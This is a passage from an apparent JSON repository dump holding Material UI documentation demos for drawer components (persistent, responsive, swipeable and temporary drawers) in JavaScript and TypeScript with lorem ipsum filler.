'width'], {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  variants: [\n    {\n      props: ({ open }) => open,\n      style: {\n        width: `calc(100% - ${drawerWidth}px)`,\n        transition: theme.transitions.create(['margin', 'width'], {\n          easing: theme.transitions.easing.easeOut,\n          duration: theme.transitions.duration.enteringScreen,\n        }),\n        marginRight: drawerWidth,\n      },\n    },\n  ],\n}));\n\nconst DrawerHeader = styled('div')(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  padding: theme.spacing(0, 1),\n  // necessary for content to be below app bar\n  ...theme.mixins.toolbar,\n  justifyContent: 'flex-start',\n}));\n\nexport default function PersistentDrawerRight() {\n  const theme = useTheme();\n  const [open, setOpen] = React.useState(false);\n\n  const handleDrawerOpen = () => {\n    setOpen(true);\n  };\n\n  const handleDrawerClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar position=\"fixed\" open={open}>\n        <Toolbar>\n          <Typography variant=\"h6\" noWrap sx={{ flexGrow: 1 }} component=\"div\">\n            Persistent drawer\n          </Typography>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            edge=\"end\"\n            onClick={handleDrawerOpen}\n            sx={[open && { display: 'none' }]}\n          >\n            <MenuIcon />\n          </IconButton>\n        </Toolbar>\n      </AppBar>\n      <Main open={open}>\n        <DrawerHeader />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Main>\n      <Drawer\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          '& .MuiDrawer-paper': {\n            width: drawerWidth,\n          },\n        }}\n        variant=\"persistent\"\n        anchor=\"right\"\n        open={open}\n      >\n        <DrawerHeader>\n          <IconButton onClick={handleDrawerClose}>\n            {theme.direction === 'rtl' ? <ChevronLeftIcon /> : <ChevronRightIcon />}\n          </IconButton>\n        </DrawerHeader>\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/ResponsiveDrawer.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport Drawer from '@mui/material/Drawer';\nimport IconButton from '@mui/material/IconButton';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport MailIcon from '@mui/icons-material/Mail';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\n\nconst drawerWidth = 240;\n\nfunction ResponsiveDrawer(props) {\n  const { window } = props;\n  const [mobileOpen, setMobileOpen] = React.useState(false);\n  const [isClosing, setIsClosing] = React.useState(false);\n\n  const handleDrawerClose = () => {\n    setIsClosing(true);\n    setMobileOpen(false);\n  };\n\n  const handleDrawerTransitionEnd = () => {\n    setIsClosing(false);\n  };\n\n  const handleDrawerToggle = () => {\n    if (!isClosing) {\n      setMobileOpen(!mobileOpen);\n    }\n  };\n\n  const drawer = (\n    <div>\n      <Toolbar />\n      <Divider />\n      <List>\n        {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <Divider />\n      <List>\n        {['All mail', 'Trash', 'Spam'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </div>\n  );\n\n  // Remove this const when copying and pasting into your project.\n  const container = window !== undefined ? () => window().document.body : undefined;\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar\n        position=\"fixed\"\n        sx={{\n          width: { sm: `calc(100% - ${drawerWidth}px)` },\n          ml: { sm: `${drawerWidth}px` },\n        }}\n      >\n        <Toolbar>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            edge=\"start\"\n            onClick={handleDrawerToggle}\n            sx={{ mr: 2, display: { sm: 'none' } }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Responsive drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Box\n        component=\"nav\"\n        sx={{ width: { sm: drawerWidth }, flexShrink: { sm: 0 } }}\n        aria-label=\"mailbox folders\"\n      >\n        {/* The implementation can be swapped with js to avoid SEO duplication of links. */}\n        <Drawer\n          container={container}\n          variant=\"temporary\"\n          open={mobileOpen}\n          onTransitionEnd={handleDrawerTransitionEnd}\n          onClose={handleDrawerClose}\n          sx={{\n            display: { xs: 'block', sm: 'none' },\n            '& .MuiDrawer-paper': { boxSizing: 'border-box', width: drawerWidth },\n          }}\n          slotProps={{\n            root: {\n              keepMounted: true, // Better open performance on mobile.\n            },\n          }}\n        >\n          {drawer}\n        </Drawer>\n        <Drawer\n          variant=\"permanent\"\n          sx={{\n            display: { xs: 'none', sm: 'block' },\n            '& .MuiDrawer-paper': { boxSizing: 'border-box', width: drawerWidth },\n          }}\n          open\n        >\n          {drawer}\n        </Drawer>\n      </Box>\n      <Box\n        component=\"main\"\n        sx={{ flexGrow: 1, p: 3, width: { sm: `calc(100% - ${drawerWidth}px)` } }}\n      >\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n\nResponsiveDrawer.propTypes = {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * Remove this when copying and pasting into your project.\n   */\n  window: PropTypes.func,\n};\n\nexport default ResponsiveDrawer;\n"
  },
  {
    "path": "docs/data/material/components/drawers/ResponsiveDrawer.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport Drawer from '@mui/material/Drawer';\nimport IconButton from '@mui/material/IconButton';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport MailIcon from '@mui/icons-material/Mail';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\n\nconst drawerWidth = 240;\n\ninterface Props {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * Remove this when copying and pasting into your project.\n   */\n  window?: () => Window;\n}\n\nexport default function ResponsiveDrawer(props: Props) {\n  const { window } = props;\n  const [mobileOpen, setMobileOpen] = React.useState(false);\n  const [isClosing, setIsClosing] = React.useState(false);\n\n  const handleDrawerClose = () => {\n    setIsClosing(true);\n    setMobileOpen(false);\n  };\n\n  const handleDrawerTransitionEnd = () => {\n    setIsClosing(false);\n  };\n\n  const handleDrawerToggle = () => {\n    if (!isClosing) {\n      setMobileOpen(!mobileOpen);\n    }\n  };\n\n  const drawer = (\n    <div>\n      <Toolbar />\n      <Divider />\n      <List>\n        {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <Divider />\n      <List>\n        {['All mail', 'Trash', 'Spam'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </div>\n  );\n\n  // Remove this const when copying and pasting into your project.\n  const container = window !== undefined ? () => window().document.body : undefined;\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar\n        position=\"fixed\"\n        sx={{\n          width: { sm: `calc(100% - ${drawerWidth}px)` },\n          ml: { sm: `${drawerWidth}px` },\n        }}\n      >\n        <Toolbar>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            edge=\"start\"\n            onClick={handleDrawerToggle}\n            sx={{ mr: 2, display: { sm: 'none' } }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Responsive drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Box\n        component=\"nav\"\n        sx={{ width: { sm: drawerWidth }, flexShrink: { sm: 0 } }}\n        aria-label=\"mailbox folders\"\n      >\n        {/* The implementation can be swapped with js to avoid SEO duplication of links. */}\n        <Drawer\n          container={container}\n          variant=\"temporary\"\n          open={mobileOpen}\n          onTransitionEnd={handleDrawerTransitionEnd}\n          onClose={handleDrawerClose}\n          sx={{\n            display: { xs: 'block', sm: 'none' },\n            '& .MuiDrawer-paper': { boxSizing: 'border-box', width: drawerWidth },\n          }}\n          slotProps={{\n            root: {\n              keepMounted: true, // Better open performance on mobile.\n            },\n          }}\n        >\n          {drawer}\n        </Drawer>\n        <Drawer\n          variant=\"permanent\"\n          sx={{\n            display: { xs: 'none', sm: 'block' },\n            '& .MuiDrawer-paper': { boxSizing: 'border-box', width: drawerWidth },\n          }}\n          open\n        >\n          {drawer}\n        </Drawer>\n      </Box>\n      <Box\n        component=\"main\"\n        sx={{ flexGrow: 1, p: 3, width: { sm: `calc(100% - ${drawerWidth}px)` } }}\n      >\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/SwipeableEdgeDrawer.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { Global } from '@emotion/react';\nimport { styled } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { grey } from '@mui/material/colors';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Skeleton from '@mui/material/Skeleton';\nimport Typography from '@mui/material/Typography';\nimport SwipeableDrawer from '@mui/material/SwipeableDrawer';\n\nconst drawerBleeding = 56;\n\nconst Root = styled('div')(({ theme }) => ({\n  height: '100%',\n  backgroundColor: grey[100],\n  ...theme.applyStyles('dark', {\n    backgroundColor: (theme.vars || theme).palette.background.default,\n  }),\n}));\n\nconst StyledBox = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.applyStyles('dark', {\n    backgroundColor: grey[800],\n  }),\n}));\n\nconst Puller = styled('div')(({ theme }) => ({\n  width: 30,\n  height: 6,\n  backgroundColor: grey[300],\n  borderRadius: 3,\n  position: 'absolute',\n  top: 8,\n  left: 'calc(50% - 15px)',\n  ...theme.applyStyles('dark', {\n    backgroundColor: grey[900],\n  }),\n}));\n\nfunction SwipeableEdgeDrawer(props) {\n  const { window } = props;\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen) => () => {\n    setOpen(newOpen);\n  };\n\n  // This is used only for the example\n  const container = window !== undefined ? () => window().document.body : undefined;\n\n  return (\n    <Root>\n      <CssBaseline />\n      <Global\n        styles={{\n          '.MuiDrawer-root > .MuiPaper-root': {\n            height: `calc(50% - ${drawerBleeding}px)`,\n            overflow: 'visible',\n          },\n        }}\n      />\n      <Box sx={{ textAlign: 'center', pt: 1 }}>\n        <Button onClick={toggleDrawer(true)}>Open</Button>\n      </Box>\n      <SwipeableDrawer\n        container={container}\n        anchor=\"bottom\"\n        open={open}\n        onClose={toggleDrawer(false)}\n        onOpen={toggleDrawer(true)}\n        swipeAreaWidth={drawerBleeding}\n        disableSwipeToOpen={false}\n        keepMounted\n      >\n        <StyledBox\n          sx={{\n            position: 'absolute',\n            top: -drawerBleeding,\n            borderTopLeftRadius: 8,\n            borderTopRightRadius: 8,\n            visibility: 'visible',\n            right: 0,\n            left: 0,\n          }}\n        >\n          <Puller />\n          <Typography sx={{ p: 2, color: 'text.secondary' }}>51 results</Typography>\n        </StyledBox>\n        <StyledBox sx={{ px: 2, pb: 2, height: '100%', overflow: 'auto' }}>\n          <Skeleton variant=\"rectangular\" height=\"100%\" />\n        </StyledBox>\n      </SwipeableDrawer>\n    </Root>\n  );\n}\n\nSwipeableEdgeDrawer.propTypes = {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window: PropTypes.func,\n};\n\nexport default SwipeableEdgeDrawer;\n"
  },
  {
    "path": "docs/data/material/components/drawers/SwipeableEdgeDrawer.tsx",
    "content": "import * as React from 'react';\nimport { Global } from '@emotion/react';\nimport { styled } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { grey } from '@mui/material/colors';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Skeleton from '@mui/material/Skeleton';\nimport Typography from '@mui/material/Typography';\nimport SwipeableDrawer from '@mui/material/SwipeableDrawer';\n\nconst drawerBleeding = 56;\n\ninterface Props {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window?: () => Window;\n}\n\nconst Root = styled('div')(({ theme }) => ({\n  height: '100%',\n  backgroundColor: grey[100],\n  ...theme.applyStyles('dark', {\n    backgroundColor: (theme.vars || theme).palette.background.default,\n  }),\n}));\n\nconst StyledBox = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.applyStyles('dark', {\n    backgroundColor: grey[800],\n  }),\n}));\n\nconst Puller = styled('div')(({ theme }) => ({\n  width: 30,\n  height: 6,\n  backgroundColor: grey[300],\n  borderRadius: 3,\n  position: 'absolute',\n  top: 8,\n  left: 'calc(50% - 15px)',\n  ...theme.applyStyles('dark', {\n    backgroundColor: grey[900],\n  }),\n}));\n\nexport default function SwipeableEdgeDrawer(props: Props) {\n  const { window } = props;\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen: boolean) => () => {\n    setOpen(newOpen);\n  };\n\n  // This is used only for the example\n  const container = window !== undefined ? () => window().document.body : undefined;\n\n  return (\n    <Root>\n      <CssBaseline />\n      <Global\n        styles={{\n          '.MuiDrawer-root > .MuiPaper-root': {\n            height: `calc(50% - ${drawerBleeding}px)`,\n            overflow: 'visible',\n          },\n        }}\n      />\n      <Box sx={{ textAlign: 'center', pt: 1 }}>\n        <Button onClick={toggleDrawer(true)}>Open</Button>\n      </Box>\n      <SwipeableDrawer\n        container={container}\n        anchor=\"bottom\"\n        open={open}\n        onClose={toggleDrawer(false)}\n        onOpen={toggleDrawer(true)}\n        swipeAreaWidth={drawerBleeding}\n        disableSwipeToOpen={false}\n        keepMounted\n      >\n        <StyledBox\n          sx={{\n            position: 'absolute',\n            top: -drawerBleeding,\n            borderTopLeftRadius: 8,\n            borderTopRightRadius: 8,\n            visibility: 'visible',\n            right: 0,\n            left: 0,\n          }}\n        >\n          <Puller />\n          <Typography sx={{ p: 2, color: 'text.secondary' }}>51 results</Typography>\n        </StyledBox>\n        <StyledBox sx={{ px: 2, pb: 2, height: '100%', overflow: 'auto' }}>\n          <Skeleton variant=\"rectangular\" height=\"100%\" />\n        </StyledBox>\n      </SwipeableDrawer>\n    </Root>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/SwipeableTemporaryDrawer.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport SwipeableDrawer from '@mui/material/SwipeableDrawer';\nimport Button from '@mui/material/Button';\nimport List from '@mui/material/List';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function SwipeableTemporaryDrawer() {\n  const [state, setState] = React.useState({\n    top: false,\n    left: false,\n    bottom: false,\n    right: false,\n  });\n\n  const toggleDrawer = (anchor, open) => (event) => {\n    if (\n      event &&\n      event.type === 'keydown' &&\n      (event.key === 'Tab' || event.key === 'Shift')\n    ) {\n      return;\n    }\n\n    setState({ ...state, [anchor]: open });\n  };\n\n  const list = (anchor) => (\n    <Box\n      sx={{ width: anchor === 'top' || anchor === 'bottom' ? 'auto' : 250 }}\n      role=\"presentation\"\n      onClick={toggleDrawer(anchor, false)}\n      onKeyDown={toggleDrawer(anchor, false)}\n    >\n      <List>\n        {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <Divider />\n      <List>\n        {['All mail', 'Trash', 'Spam'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Box>\n  );\n\n  return (\n    <div>\n      {['left', 'right', 'top', 'bottom'].map((anchor) => (\n        <React.Fragment key={anchor}>\n          <Button onClick={toggleDrawer(anchor, true)}>{anchor}</Button>\n          <SwipeableDrawer\n            anchor={anchor}\n            open={state[anchor]}\n            onClose={toggleDrawer(anchor, false)}\n            onOpen={toggleDrawer(anchor, true)}\n          >\n            {list(anchor)}\n          </SwipeableDrawer>\n        </React.Fragment>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/SwipeableTemporaryDrawer.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport SwipeableDrawer from '@mui/material/SwipeableDrawer';\nimport Button from '@mui/material/Button';\nimport List from '@mui/material/List';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\ntype Anchor = 'top' | 'left' | 'bottom' | 'right';\n\nexport default function SwipeableTemporaryDrawer() {\n  const [state, setState] = React.useState({\n    top: false,\n    left: false,\n    bottom: false,\n    right: false,\n  });\n\n  const toggleDrawer =\n    (anchor: Anchor, open: boolean) =>\n    (event: React.KeyboardEvent | React.MouseEvent) => {\n      if (\n        event &&\n        event.type === 'keydown' &&\n        ((event as React.KeyboardEvent).key === 'Tab' ||\n          (event as React.KeyboardEvent).key === 'Shift')\n      ) {\n        return;\n      }\n\n      setState({ ...state, [anchor]: open });\n    };\n\n  const list = (anchor: Anchor) => (\n    <Box\n      sx={{ width: anchor === 'top' || anchor === 'bottom' ? 'auto' : 250 }}\n      role=\"presentation\"\n      onClick={toggleDrawer(anchor, false)}\n      onKeyDown={toggleDrawer(anchor, false)}\n    >\n      <List>\n        {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <Divider />\n      <List>\n        {['All mail', 'Trash', 'Spam'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Box>\n  );\n\n  return (\n    <div>\n      {(['left', 'right', 'top', 'bottom'] as const).map((anchor) => (\n        <React.Fragment key={anchor}>\n          <Button onClick={toggleDrawer(anchor, true)}>{anchor}</Button>\n          <SwipeableDrawer\n            anchor={anchor}\n            open={state[anchor]}\n            onClose={toggleDrawer(anchor, false)}\n            onOpen={toggleDrawer(anchor, true)}\n          >\n            {list(anchor)}\n          </SwipeableDrawer>\n        </React.Fragment>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/SwipeableTemporaryDrawer.tsx.preview",
    "content": "{(['left', 'right', 'top', 'bottom'] as const).map((anchor) => (\n  <React.Fragment key={anchor}>\n    <Button onClick={toggleDrawer(anchor, true)}>{anchor}</Button>\n    <SwipeableDrawer\n      anchor={anchor}\n      open={state[anchor]}\n      onClose={toggleDrawer(anchor, false)}\n      onOpen={toggleDrawer(anchor, true)}\n    >\n      {list(anchor)}\n    </SwipeableDrawer>\n  </React.Fragment>\n))}"
  },
  {
    "path": "docs/data/material/components/drawers/TemporaryDrawer.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport Button from '@mui/material/Button';\nimport List from '@mui/material/List';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function TemporaryDrawer() {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen) => () => {\n    setOpen(newOpen);\n  };\n\n  const DrawerList = (\n    <Box sx={{ width: 250 }} role=\"presentation\" onClick={toggleDrawer(false)}>\n      <List>\n        {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <Divider />\n      <List>\n        {['All mail', 'Trash', 'Spam'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Box>\n  );\n\n  return (\n    <div>\n      <Button onClick={toggleDrawer(true)}>Open drawer</Button>\n      <Drawer open={open} onClose={toggleDrawer(false)}>\n        {DrawerList}\n      </Drawer>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/TemporaryDrawer.tsx",
